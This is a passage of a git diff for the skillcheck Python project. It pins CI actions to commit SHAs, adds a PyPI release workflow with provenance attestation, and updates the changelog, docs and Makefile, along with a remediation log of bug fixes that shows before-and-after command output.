diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0b47fff..db26328 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -19,10 +19,10 @@ jobs: python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v5 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 with: python-version: ${{ matrix.python-version }} @@ -37,10 +37,10 @@ jobs: lint: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Set up Python - uses: actions/setup-python@v5 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 with: python-version: "3.12" @@ -48,25 +48,23 @@ jobs: run: pip install -e ".[dev]" - name: Ruff check - run: ruff check src tests + run: ruff check src tests scripts - name: Mypy strict - run: mypy src/skillcheck + # Bare mypy uses the [tool.mypy] files list (src plus the checked-in + # scripts), so the utility scripts are type-gated alongside the package. + run: mypy package: + # Smoke-check that the project builds and the wheel installs on every push + # and PR. Attestation and PyPI publishing happen only on tag pushes, in + # release.yml, so this job stays read-only. runs-on: ubuntu-latest - # Attestation steps below need to issue an OIDC token and write the - # attestation; both default to off in the workflow-level permissions - # block. Job-scoped overrides keep the rest of the workflow read-only. - permissions: - contents: read - id-token: write - attestations: write steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Set up Python - uses: actions/setup-python@v5 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 with: python-version: "3.12" @@ -80,14 +78,3 @@ jobs: run: | pip install dist/skillcheck-*.whl skillcheck --version - - - name: Attest build provenance - # Only attest tagged releases. Attestations on every CI run would - # flood the project's attestation feed and are not signed against - # an intended release artifact. - if: startsWith(github.ref, 'refs/tags/v') - uses: actions/attest-build-provenance@v1 - with: - subject-path: | - dist/skillcheck-*.whl - dist/skillcheck-*.tar.gz diff --git a/.github/workflows/release-notes.yml b/.github/workflows/release-notes.yml index b42d84b..db7f6c9 100644 --- a/.github/workflows/release-notes.yml +++ b/.github/workflows/release-notes.yml @@ -12,7 +12,7 @@ jobs: promote-unreleased: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: ref: main fetch-depth: 0 @@ -77,7 +77,7 @@ jobs: - name: Open PR with the promoted CHANGELOG if: steps.promote.outputs.result == 'promoted' - uses: peter-evans/create-pull-request@v6 + uses: peter-evans/create-pull-request@c5a7806660adbe173f04e3e038b0ccdcd758773c # v6.1.0 with: commit-message: | docs(changelog): promote [Unreleased] to [${{ github.event.release.tag_name }}] diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..9a8462a --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,57 @@ +name: Release + +# Publishes to PyPI and attests build provenance when an immutable version tag +# is pushed. The v*.*.* filter matches patch tags (v1.2.3) but not the moving +# major tag (v1), so the moving tag does not trigger a duplicate publish. +on: + push: + tags: + - 'v*.*.*' + +permissions: + contents: read + +jobs: + release: + runs-on: ubuntu-latest + # Trusted publishing resolves against this environment on the PyPI side. + environment: pypi + permissions: + contents: read + id-token: write # PyPI trusted publishing (OIDC) and provenance signing + attestations: write # actions/attest-build-provenance + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 + + - name: Set up Python + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + with: + python-version: "3.12" + + - name: Install build tools + run: pip install hatchling + + - name: Build sdist and wheel + run: python -m hatchling build + + - name: Verify wheel installs and version matches the tag + run: | + set -euo pipefail + pip install dist/skillcheck-*.whl + installed="$(skillcheck --version | awk '{print $NF}')" + tag="${GITHUB_REF_NAME#v}" + if [ "$installed" != "$tag" ]; then + echo "Built version '$installed' does not match tag '$tag'." >&2 + echo "Bump the version in pyproject.toml and __init__.py before tagging." >&2 + exit 1 + fi + + - name: Attest build provenance + uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2.4.0 + with: + subject-path: | + dist/skillcheck-*.whl + dist/skillcheck-*.tar.gz + + - name: Publish to PyPI + uses: pypa/gh-action-pypi-publish@7f25271a4aa483500f742f9492b2ab5648d61011 # v1.12.4 diff --git a/.gitignore b/.gitignore index 4ebb965..f6d3373 100644 --- a/.gitignore +++ b/.gitignore @@ -21,6 +21,10 @@ launch-post/ LAUNCH_CHECKLIST.md LAUNCH_POST_*.md +# Per-skill history ledgers written by `skillcheck --history`; running the tool +# against a file in the repo drops one next to it and it must never be committed. +.skillcheck-history.json + # Verification venvs (created by end-to-end verification runs) .venv-verify/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 8d90193..129a662 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- Added the `Typing :: Typed` classifier so PyPI reflects the shipped `py.typed` marker. + +### Fixed + +- Empty frontmatter (`---\n---`) is now recognized instead of leaking the delimiters into the body and its line count. +- Directory scanning uses `os.walk(followlinks=False)` instead of `Path.rglob`, so a directory symlink cannot pull in files from another tree or hang the scan on a symlink cycle. +- `disclosure.body-bloat` sizes each markdown table independently. Previously every `|`-row in the body was summed as one table, so several small tables could report a false oversized-table count. +- Broken-reference and reference-escape diagnostics now show the resolved path relative to the skill directory (`scripts/foo.py`, or `../..` for an escape) instead of the absolute host path, so CI logs no longer leak the build machine's directory layout. +- Corrected the `estimate_tokens` docstring: tiktoken downloads its vocabulary on first use, so it is not "fully offline" until the cache is warm; the whitespace fallback is always offline. +- `skillcheck.toml` handling improved: config type errors now name the offending value; the Python 3.10 fallback parser no longer truncates a value at a `#` inside quotes; `find_config` stops ascending at a `.git` repository root or the user's home instead of walking to the filesystem root; and the CLI prints which config file it loaded (to stderr) when one is found. +- History ledger writes are more durable: `save_ledger` now flushes and `fsync`s the temp file before the atomic `os.replace`, and `load_ledger` sweeps stale `.skillcheck-tmp-*` files left behind by an interrupted write. The module documents its single-writer assumption (no file locking). +- `frontmatter.yaml-anchors` no longer false-positives on `&` or `*` inside quoted string values. A description like `"Reviews R&D notes and *only* flags risky items"` used to match the anchor/alias regexes; detection now walks the YAML event stream, so only real anchors and aliases are reported. +- `--format github` no longer over-escapes diagnostic message text. Message data now escapes only `%`, CR, and LF (per the GitHub Actions toolkit), so a colon or comma in a message renders literally instead of as `%3A`/`%2C`. Property values (`file`, `title`) still escape `:` and `,` as required, which also fixes the previously unescaped colon in the annotation title. + +## [1.4.1] - 2026-07-09 + +### Added + - `[tool.ruff]` and `[tool.mypy]` configuration in `pyproject.toml`. Ruff lints `src` and `tests` with an explicit `E, F, I, UP, B` selection at line length 127 (`E501` ignored for unavoidable long string literals in JSON fixtures and schema text). Mypy runs `strict` against `src/skillcheck` under `python_version = "3.10"`, with an `ignore_missing_imports` override for the untyped `tiktoken` dependency and the `tomllib` 3.11+ stdlib backport branch. The source was brought clean under both with real annotations, not blanket ignores. - Test coverage measurement via `pytest-cov` (added to the `dev` extra). `[tool.coverage.run]` and `[tool.coverage.report]` configure the run, and `addopts` in `[tool.pytest.ini_options]` adds `--cov=skillcheck --cov-report=term-missing --cov-fail-under=68`, so the floor is enforced on every local run and in CI (which runs the same `pytest`). The floor sits a few points under the ~72% measured on CPython 3.10 to absorb matrix variance: the CLI modules run in subprocesses the in-process tracer does not see, the `tomllib` vs fallback-parser branch flips between Python 3.10 and 3.11+, and a few tests skip on Windows. @@ -16,6 +34,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - CI `lint` job now enforces `ruff check src tests` and `mypy src/skillcheck` (strict) on every push and pull request, replacing the prior `compileall`-only check. Either tool reporting a finding fails the job. - `cli.py` split to separate argument wiring from command execution. Parser construction, `skillcheck.toml` application, mode-conflict dispatch, and `main` stay in `cli.py`; the per-mode handlers (emit prompts and graphs, `--show-history`, the default validation pipeline) and the path and ingest IO helpers move to a new `skillcheck.commands` module. `skillcheck.cli:main` and the `skillcheck` console script are unchanged. Pure refactor, no behavior change. +- The published JSON Schemas (`critique-v1.json`, `graph-v1.json`) now set `additionalProperties: false` on every object, matching the parsers, which already reject unknown fields. An agent that validates its output against the schema no longer produces responses that pass the schema but fail ingest. +- Release automation moved to a dedicated tag-triggered `release.yml`. It builds the wheel and sdist, verifies the built version matches the tag, attests build provenance, and publishes to PyPI through trusted publishing. The dead attest step in `ci.yml` (gated on tags but on a workflow that never runs on tags) was removed, so the README's provenance claim is now backed by a workflow that actually runs. `CONTRIBUTING.md` documents the one-time PyPI trusted-publishing setup. +- Every third-party GitHub Action is now pinned to a full commit SHA (with a trailing version comment) across all workflows and `action.yml`, replacing floating major-version tags. This closes the supply-chain window where a compromised or force-moved tag could run with the workflows' write permissions. +- `pre-commit` is now part of the `dev` extra, so the two `test_pre_commit.py` end-to-end hook tests actually run in CI instead of silently skipping. +- `make verify-release` actually builds the sdist and wheel now. The old guard used `command -v python3 -c "import build"`, which only resolved the `python3` path and never tested the `build` module, so the build verification was effectively meaningless. The target also gained a drift grep asserting the README's pre-commit `rev:` matches the pyproject version, and the README `rev:` was corrected from `v1.3.0` to `v1.4.0`. +- Internal refactors, no behavior change: the three copies of frontmatter-block extraction (`_frontmatter_block`, `_extract_frontmatter_raw`, `_extract_frontmatter_text`) are deduplicated to the single `frontmatter_common._frontmatter_block`. +- The critique and graph parsers now share `require_field` and `decode_json_or_raise` from `agents/_ingest.py` instead of each carrying its own copy. As a side effect the critique JSON-decode error message adopts the graph parser's wording (exception type and diagnostic content unchanged). +- Dead code removed: the unused `core/reporter.py` module (the CLI renders through `formatters.py`) and the `merge_critique_diagnostics` shim (identical to `merge_diagnostics`, now called directly). No public CLI or `skillcheck.validate` behavior changes. +- Oversized modules decomposed with no behavior change: the CLI mode-conflict table and checker are hoisted to module level; `run_validation` is split into `_compute_exit_code`, `_record_history`, and `_print_report`; the capability-graph data model moves to `core/graph_model.py`; and the ledger filesystem I/O moves to `core/history_io.py`. All original import paths still resolve via re-exports. +- Quality gates extended to `scripts/`: CI and the `Makefile` now run `ruff check src tests scripts`, and mypy's `files` list includes the checked-in utility scripts so they are type-gated alongside the package. `scripts/summarize_batch.py` was brought clean under both. + +### Fixed + +- Non-dict frontmatter (a bare scalar or list between the `---` delimiters) no longer crashes with an `AttributeError` traceback. `parser.parse` now raises `ParseError` naming the actual YAML type and the path, which the validation pipeline renders as a clean `parse.error` diagnostic and exit 1. +- Template detection no longer misreads bracketed acronyms as placeholders. The `[...]` branch of the placeholder pattern was unescaped, so `[ISO]`, `[API]`, and `[CLI]` in a real description matched and silently suppressed the deployment-blocking ERROR checks (`frontmatter.name.directory-mismatch`, `compat.vscode-dirname`, description scoring). The literal three-dot placeholder is now matched exactly. +- `--ingest-critique` and `--ingest-graph` now reject a multi-skill target instead of stamping the first skill's ingested diagnostics onto every file. An agent response describes one skill, so pointing an ingest flag at a directory that resolves to more than one SKILL.md exits `2` with an error naming the flag and the path count. +- A malformed history ledger now raises a clean `LedgerError` instead of an uncaught `TypeError`. `load_ledger` validates that the JSON root is an object, that `runs` is a list, and that each run entry is well-formed, and it now checks the `version` field against `LEDGER_SCHEMA_VERSION` (previously read but never enforced), naming both versions on mismatch. Every failure carries the "delete it and re-run with --history" remediation. +- `--analyze-graph` no longer crashes on a repeated tool. `allowed-tools: [Bash, Bash]` minted two graph nodes with the same content-hash ID, tripping the duplicate-node-ID guard with an uncaught `ValueError`. The heuristic extractor now dedupes tool names before building nodes. +- Emit and re-parse modes no longer surface a traceback on a file that plain validation handles cleanly. `--emit-graph`, `--emit-critique-prompt`, `--emit-graph-prompt`, `--agent-reason`, `--activation-hypotheses`, `--analyze-graph`, `--history`, and the `--ingest-*` first-path re-parse now catch `ParseError`, print the message to stderr, and exit 1. `read_ingest_raw` additionally catches `UnicodeDecodeError`, so a non-UTF-8 ingest response file takes the clean exit-2 path instead of crashing. +- Codex compatibility provenance now carries its own `_CODEX_DATA_DATE` constant instead of borrowing `_CLAUDE_DATA_DATE`. The mislabel was invisible because all three provenance dates were equal; the date reported for Codex is now sourced from and freshness-checked against the Codex constant independently. + +### Security + +- `action.yml` no longer interpolates user-controlled inputs into the shell script. Every input is passed through an `env:` mapping and referenced as `"$INPUT_*"`, so a crafted input value cannot break out of the `run:` block and execute arbitrary commands. Behavior is otherwise identical. +- Ingested critique and graph responses are treated as untrusted input: strings taken from them (missing-context items, contradiction locations, findings, and graph node names) are stripped of terminal control characters before they reach the human-readable report. A response carrying raw ANSI escapes can no longer forge terminal output (a fake `PASS` line, a cleared screen). Control characters are rendered in a visible backslash-escaped form rather than dropped. The JSON output path is unchanged (`json.dumps` already escapes control characters). +- Ingested responses are size-bounded. A response file or stdin payload over 5 MiB (`MAX_INGEST_BYTES`) is rejected with exit 2 before it is read into memory, and any single response list (findings, missing_context, contradictions, capabilities, inputs, outputs, edges) over 10,000 items (`MAX_INGEST_LIST_ITEMS`) is rejected with a clear error. Both messages name the actual size/count and the cap. ## [1.4.0] - 2026-05-27 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6f419b7..cb361d7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -21,21 +21,34 @@ A handful of tests skip on Windows because the underlying OS feature is unavaila ## Releasing +Publishing is automated. Pushing an immutable patch tag (`v1.2.3`) triggers `.github/workflows/release.yml`, which builds the wheel and sdist, attests build provenance with `actions/attest-build-provenance`, and publishes to PyPI via trusted publishing (`pypa/gh-action-pypi-publish`). No manual `twine upload` or API token is involved. The moving `v1` tag is filtered out (`v*.*.*`) so it does not trigger a second publish. + Every release pushes two tags pointing to the same commit: -1. An immutable patch tag (e.g., `v1.2.3`). +1. An immutable patch tag (e.g., `v1.2.3`) that drives the release workflow. 2. A force-updated `v1` moving major tag pointing to the same commit. Steps: ```bash -# Bump version in pyproject.toml, commit, push to main. +# Bump version in pyproject.toml, __init__.py, and CHANGELOG.md together, commit, push to main. git push origin main git tag v1.2.3 -git push origin v1.2.3 +git push origin v1.2.3 # release.yml builds, attests, and publishes to PyPI git tag -f v1 -git push origin v1 --force +git push origin v1 --force # moving tag; filtered out of release.yml gh release create v1.2.3 --title "v1.2.3" --notes-file CHANGELOG_ENTRY.md ``` -The `v1` tag always tracks the latest patch in the v1.x line. This lets GitHub Action users pin `@v1` for automatic updates or `@v1.2.3` for an immutable pin. \ No newline at end of file +The `v1` tag always tracks the latest patch in the v1.x line. This lets GitHub Action users pin `@v1` for automatic updates or `@v1.2.3` for an immutable pin. + +### One-time PyPI trusted-publishing setup + +Trusted publishing must be configured once on the PyPI side before the first automated release. In the `skillcheck` project settings on PyPI, add a GitHub Actions publisher with: + +- Owner: `moonrunnerkc` +- Repository: `skillcheck` +- Workflow filename: `release.yml` +- Environment: `pypi` + +Until this is configured, the `Publish to PyPI` step will fail with an OIDC trust error; the build and attestation steps still run. \ No newline at end of file diff --git a/Makefile b/Makefile index 4400a1d..c97afa9 100644 --- a/Makefile +++ b/Makefile @@ -1,17 +1,28 @@ -.PHONY: regen-self-host-fixtures verify-release +.PHONY: lint regen-self-host-fixtures verify-release # Pre-1.0 sentinel version. Stale references to this string must not appear in # shipped files; update only if a new major version creates a new legacy line. LEGACY_VERSION := 0.2.0 +# Current package version, read from pyproject.toml. Used to assert the README's +# pre-commit `rev:` example tracks the shipped version. +VERSION := $(shell grep -m1 '^version' pyproject.toml | sed 's/.*"\(.*\)".*/\1/') + regen-self-host-fixtures: python3 scripts/regen_self_host_fixtures.py +lint: + ruff check src tests scripts + mypy + verify-release: + ruff check src tests scripts + mypy python3 -m pytest tests/ -v skillcheck --version skillcheck skills/skillcheck/SKILL.md skillcheck skills/skillcheck/SKILL.md --analyze-graph grep -rn "$(LEGACY_VERSION)" --include="*.py" --include="*.toml" --include="*.md" --include="*.yml" src/ pyproject.toml README.md action.yml && echo "FAIL: $(LEGACY_VERSION) references found" && exit 1 || echo "OK: no $(LEGACY_VERSION) references in release files" grep -rn "moonrunnerkc/skillcheck@v0" README.md && echo "FAIL: @v0 reference in README" && exit 1 || echo "OK: no @v0 in README" - @command -v python3 -c "import build" 2>/dev/null && python3 -m build --sdist --wheel || echo "INFO: build module not available, skipping sdist/wheel check" + @grep -q "rev: v$(VERSION)" README.md && echo "OK: README pre-commit rev matches v$(VERSION)" || { echo "FAIL: README pre-commit 'rev:' does not match pyproject version v$(VERSION); update the rev in README.md"; exit 1; } + @python3 -c "import build" 2>/dev/null && python3 -m build --sdist --wheel || echo "INFO: build module not available, skipping sdist/wheel check" diff --git a/README.md b/README.md index f3a5164..172d0ea 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ Static analyzer for `SKILL.md` files. Validates frontmatter, body sizing, file references, and cross-agent compatibility against the [agentskills.io specification](https://agentskills.io/specification). No network calls. No LLM API calls. No file mutations. -786 tests cover all rule modules. +832 tests cover all rule modules. ## Install @@ -62,7 +62,7 @@ Diagnostics appear as inline PR annotations. Inputs documented in [`action.yml`] ```yaml repos: - repo: https://github.com/moonrunnerkc/skillcheck - rev: v1.3.0 + rev: v1.4.1 hooks: - id: skillcheck ``` @@ -91,13 +91,15 @@ skillcheck SKILL.md --ingest-critique response.json The same flow exists for capability graph extraction (`--emit-graph-prompt` / `--ingest-graph`). Prompt variants are tuned per agent via `--critique-agent` and `--graph-agent` (`claude`, `codex`, `cursor`). +An ingested response describes exactly one skill, so `--ingest-critique` and `--ingest-graph` require a single resolved SKILL.md. Pointing them at a directory that expands to more than one skill exits `2`. Run the ingest once per skill. + ## Exit codes | Code | Meaning | |---|---| | `0` | No errors. Warnings alone exit 0 unless `--strict` is set. | | `1` | One or more errors. Also: warnings with `--strict` (the umbrella `--strict-vscode` / `--strict-cursor` only escalate their own diagnostics; the umbrella additionally escalates any warning-only run). Also: `history.skill.regressed` with `--fail-on-regression`. Also: any ingest parse failure. | -| `2` | Input or argument error (missing path, conflicting flags, malformed input). | +| `2` | Input or argument error (missing path, conflicting flags, malformed input, an ingest flag pointed at more than one skill). | | `3` | Symbolic checks passed but an ingested critique reported semantic errors. | When both `1` and `3` would apply, `1` wins so CI consumers see the higher-severity signal. @@ -117,13 +119,13 @@ Defaults live in a `skillcheck.toml` discovered upward from the validated path. ## Releases -Tagged releases (`v*`) carry a SLSA build provenance attestation issued by `actions/attest-build-provenance@v1`. To verify a release artifact before installing: +Pushing a version tag (`v1.2.3`) runs `.github/workflows/release.yml`, which builds the wheel and sdist, issues a SLSA build provenance attestation via `actions/attest-build-provenance`, and publishes to PyPI through trusted publishing. To verify a release artifact before installing: ```bash gh attestation verify dist/skillcheck-*.whl --owner moonrunnerkc ``` -This confirms the wheel was built by `moonrunnerkc/skillcheck` CI from the source at the tagged commit. Untagged builds (PR and main-branch CI) are not attested. +This confirms the wheel was built by `moonrunnerkc/skillcheck` CI from the source at the tagged commit. Untagged builds (PR and main-branch CI) are not attested or published. ## License diff --git a/REMEDIATION-EVIDENCE.md b/REMEDIATION-EVIDENCE.md new file mode 100644 index 0000000..ce6a162 --- /dev/null +++ b/REMEDIATION-EVIDENCE.md @@ -0,0 +1,765 @@ +# Remediation Evidence + +Baseline: commit `6a477c2`, skillcheck v1.4.0. +Toolchain baseline (before any change): `786 passed`, `ruff check src tests` clean, `mypy src/skillcheck` clean. + +Every item below records: the finding, the before output, the files touched, the after output, and the tests added. + +--- + +## Phase 1: correctness hotfix + +### 1.1 Non-dict frontmatter crashes with a traceback + +Finding: `parser.py` accepts any YAML type from `yaml.safe_load(...) or {}`; a scalar or list +frontmatter reaches `template_detection.py:30` and raises `AttributeError: 'str' object has no attribute 'get'`. + +BEFORE: +``` +$ printf -- '---\njust a string\n---\nbody\n' > /tmp/p/SKILL.md && skillcheck /tmp/p/SKILL.md +Traceback (most recent call last): + ... + File ".../template_detection.py", line 30, in is_template + if skill.frontmatter.get("template") is True: + ^^^^^^^^^^^^^^^^^^^^^ +AttributeError: 'str' object has no attribute 'get' +EXIT=1 +``` + +FIX (files touched): +- `src/skillcheck/parser.py`: after `yaml.safe_load`, coerce `None` to `{}`, then raise `ParseError` naming the actual type and path when the value is not a dict. +- `tests/fixtures/bad_frontmatter_string.md`, `bad_frontmatter_list.md`, `bad_frontmatter_int.md` (new negative fixtures). +- `tests/test_parser.py`: `test_rejects_string_frontmatter`, `test_rejects_list_frontmatter`, `test_rejects_int_frontmatter`. + +AFTER: +``` +$ skillcheck /tmp/p/SKILL.md +✗ FAIL /tmp/p/SKILL.md + ✗ error parse.error Frontmatter must be a YAML mapping, got str in /tmp/p/SKILL.md. Wrap frontmatter in key: value pairs. + +Checked 1 file: 0 passed, 1 failed +EXIT=1 +``` +`skillcheck.parser.parse` now raises `ParseError` (caught in `core/symbolic.py:44` → clean `parse.error` diagnostic). No traceback. + +Tests added: `test_rejects_string_frontmatter`, `test_rejects_list_frontmatter`, `test_rejects_int_frontmatter` (test_parser.py: 10 → 13 passing). + +### 1.2 Unescaped `...` in template detection disables ERROR checks on real skills + +Finding: `template_detection.py:14` had `\[(...|...)\]` where the `...` branch matched any 3 characters, +so `[ISO]`, `[API]`, `[CLI]` marked real skills as templates, skipping `frontmatter.name.directory-mismatch` +(ERROR), `compat.vscode-dirname`, and description scoring. + +BEFORE: +``` +$ skillcheck /tmp/t/iso-dates/SKILL.md --format json # description: "Formats [ISO] dates ..." +template.detected | info | Detected placeholder content; ... checks ... are skipped for template files. +``` + +FIX (files touched): +- `src/skillcheck/template_detection.py`: escape `...` to `\.\.\.` in the bracketed-placeholder pattern. +- `tests/fixtures/non_template_bracket_acronym.md` (negative fixture, `[ISO]/[API]/[CLI]`). +- `tests/fixtures/template_bracket_placeholder.md` (positive fixture, literal `[...]`). +- `tests/test_template_detection.py` (new module giving `is_template` direct coverage). + +AFTER: +``` +=== [ISO] must NOT be template now === +template.detected present: False +rules: ['description.quality-score'] +=== literal [...] must STILL be template === +template.detected present: True +``` + +Tests added: `test_bracketed_acronyms_are_not_template`, `test_literal_ellipsis_placeholder_is_template`. + +### 1.3 Multi-path ingest stamps the first skill's diagnostics onto every file + +Finding: `commands.py` parsed `paths[0]` only for critique/graph ingest, then merged those diagnostics +into every result. A directory of two skills plus one agent response marked both files with the same findings. + +BEFORE: +``` +$ skillcheck /tmp/multi --ingest-critique tests/fixtures/critique/response_warnings.json --format json +/tmp/multi/skill-one/SKILL.md -> [..., 'semantic.clarity.low', 'semantic.completeness.low', ...] +/tmp/multi/skill-two/SKILL.md -> [..., 'semantic.clarity.low', 'semantic.completeness.low', ...] # same, wrong +EXIT=0 +``` + +FIX (files touched): +- `src/skillcheck/commands.py`: `run_validation` rejects `--ingest-critique`/`--ingest-graph` combined with more than one resolved path, printing an error naming the active flag(s) and the path count, exit 2. +- `README.md`: Agent-modes note plus exit-code `2` row updated. +- `tests/test_cli_critique.py`: `test_ingest_critique_rejects_multiple_paths`. +- `tests/test_cli_graph_agent.py`: `test_ingest_graph_rejects_multiple_paths`. + +AFTER: +``` +$ skillcheck /tmp/multi --ingest-critique .../response_warnings.json +Error: --ingest-critique applies one agent response to one skill, but 2 SKILL.md paths were resolved. Run it once per skill, pointing at a single SKILL.md. +EXIT=2 +$ skillcheck /tmp/multi --ingest-graph .../response_clean.json +Error: --ingest-graph applies one agent response to one skill, but 2 SKILL.md paths were resolved. ... +EXIT=2 +$ skillcheck /tmp/multi/skill-one/SKILL.md --ingest-critique .../response_warnings.json # single path still works, EXIT=0 +``` + +Tests added: `test_ingest_critique_rejects_multiple_paths`, `test_ingest_graph_rejects_multiple_paths`. + +### 1.4 Malformed history ledger escapes as TypeError + +Finding: `core/history.py` `load_ledger` guarded `KeyError` only. A non-object root (`[1,2,3]`) and a +non-list `runs` (`{"runs":"oops",...}`) both escaped as uncaught `TypeError`. The `version` field was read +but never validated against `LEDGER_SCHEMA_VERSION`. + +BEFORE: +``` +root [1,2,3] -> TypeError : list indices must be integers or slices, not str +{"runs":"oops","version":1} -> TypeError : string indices must be integers, not 'str' +``` + +FIX (files touched): +- `src/skillcheck/core/history.py`: after `json.loads`, assert root is a dict; validate `version == LEDGER_SCHEMA_VERSION` (naming both versions on mismatch); assert `runs` is a list; wrap the per-entry loop in `except TypeError` so a malformed entry raises `LedgerError` with the "delete it and re-run" remediation. +- `tests/fixtures/history/ledger_root_list.json`, `ledger_runs_not_list.json`, `ledger_bad_version.json`, `ledger_malformed_entry.json` (new). +- `tests/test_history_io.py`: four new tests. + +AFTER: +``` +ledger_root_list -> LedgerError: ... must be a JSON object, got list. ... Delete it and re-run ... +ledger_runs_not_list -> LedgerError: ... field 'runs' must be a list, got str. ... +ledger_bad_version -> LedgerError: ... has schema version 999, but this skillcheck expects version 1. ... +ledger_malformed_entry-> LedgerError: ... contains a malformed run entry: 'int' object is not subscriptable. ... +$ skillcheck /tmp/hist/SKILL.md --show-history # EXIT=1, clean stderr, no traceback +``` + +Tests added: `test_load_raises_when_root_is_not_object`, `test_load_raises_when_runs_is_not_a_list`, `test_load_raises_on_schema_version_mismatch`, `test_load_raises_on_malformed_run_entry`. + +### 1.5 Duplicate allowed-tools crashes --analyze-graph + +Finding: the heuristic extractor content-hashes tool nodes on the name alone, so `allowed-tools: [Bash, Bash]` +minted two nodes with the same ID and `CapabilityGraph.__post_init__` raised `ValueError: Duplicate node ID`. + +BEFORE: +``` +$ skillcheck /tmp/dup/SKILL.md --analyze-graph # allowed-tools: [Bash, Bash] + ... + File ".../core/graph.py", line 165, in __post_init__ + raise ValueError( +ValueError: Duplicate node ID 'f062fdee' appears in multiple capability graph collections. +EXIT=1 +``` + +FIX (files touched): +- `src/skillcheck/core/graph.py`: dedupe tool names with `dict.fromkeys()` (order-preserving) before node creation, filtering non-str items first so nested YAML cannot break the dedupe. +- `tests/fixtures/graph/skill_duplicate_tools.md` (`allowed-tools: [Bash, Bash, Read]`). +- `tests/test_graph_heuristic.py`: `test_duplicate_allowed_tools_produce_single_input`. + +AFTER: +``` +=== analyze-graph now clean === +Checked 1 file: 1 passed, 0 failed, 2 warnings +EXIT=0 +=== emit-graph shows single Bash input === +inputs: ['Bash'] +``` + +Tests added: `test_duplicate_allowed_tools_produce_single_input`. + +### 1.6 Emit modes crash on files plain validation handles + +Finding: emit loops in `commands.py` called `_parse_skill` without catching `ParseError`, so a non-UTF-8 +file (or non-mapping frontmatter from 1.1) surfaced a traceback where plain validation renders a clean FAIL. +`read_ingest_raw` caught `OSError` but not `UnicodeDecodeError`. + +During reproduction I confirmed the same traceback in every mode that re-parses outside `validate()`: +`--emit-graph`, `--emit-critique-prompt`, `--emit-graph-prompt`, `--agent-reason`, `--activation-hypotheses`, +`--analyze-graph`, `--history`, and the `--ingest-*` re-parse of the first path. All are the same root cause; +I fixed all of them rather than only the three cited emit lines. + +BEFORE (representative): +``` +$ skillcheck /tmp/enc/SKILL.md --emit-graph + ... +skillcheck.parser.ParseError: File is not valid UTF-8: /tmp/enc/SKILL.md (traceback, exit 1) +$ skillcheck valid_basic.md --ingest-critique /tmp/enc/response.json + ... +UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte (traceback) +``` + +FIX (files touched): +- `src/skillcheck/commands.py`: new `_parse_or_exit(path)` helper (prints the ParseError to stderr, exit 1); routed all emit and re-parse sites through it (`emit_graph`, `emit_critique_prompts`, `emit_graph_prompts`, `emit_agent_reason_packet`, `emit_activation`, the `--ingest-*` and `--analyze-graph` re-parses, and the `--history` re-parse). `read_ingest_raw` now also catches `UnicodeDecodeError` (exit 2). The score-breakdown re-parse was already inside `try/except Exception`. +- `tests/test_cli.py`: parametrized mode test plus an ingest-response test. + +AFTER: +``` +--emit-graph -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--emit-critique-prompt -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--emit-graph-prompt -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--agent-reason -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--activation-hypotheses-> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--analyze-graph -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--history -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +--ingest-critique -> exit=1 : Error: File is not valid UTF-8: /tmp/enc/SKILL.md +read_ingest_raw non-UTF-8 response -> exit=2 : Error: cannot read .../response.json: 'utf-8' codec can't decode ... +``` +No traceback in any mode. + +Tests added: `test_modes_exit_clean_on_non_utf8_file` (parametrized over 7 modes), `test_ingest_critique_non_utf8_response_exits_two`. + +### 1.7 Codex provenance labeled with the Claude date constant + +Finding: `compat.py:117` appended `f"Codex: {_CLAUDE_DATA_DATE}"`. The label was wired to the Claude constant, +masked because all three provenance dates happen to be equal. + +BEFORE / AFTER (monkeypatching `_CLAUDE_DATA_DATE` to a sentinel exposes the wiring): +``` +=== BEFORE (buggy) === +Behavior of field 'allowed-tools' in codex, cursor is unverified (as of Codex: CLAUDE-SENTINEL; Cursor: 2026-04-20). +=== AFTER (fixed) === +Behavior of field 'allowed-tools' in codex, cursor is unverified (as of Codex: 2026-04-20; Cursor: 2026-04-20). +``` + +FIX (files touched): +- `src/skillcheck/rules/compat.py`: add `_CODEX_DATA_DATE`, use it at the Codex provenance label, mention 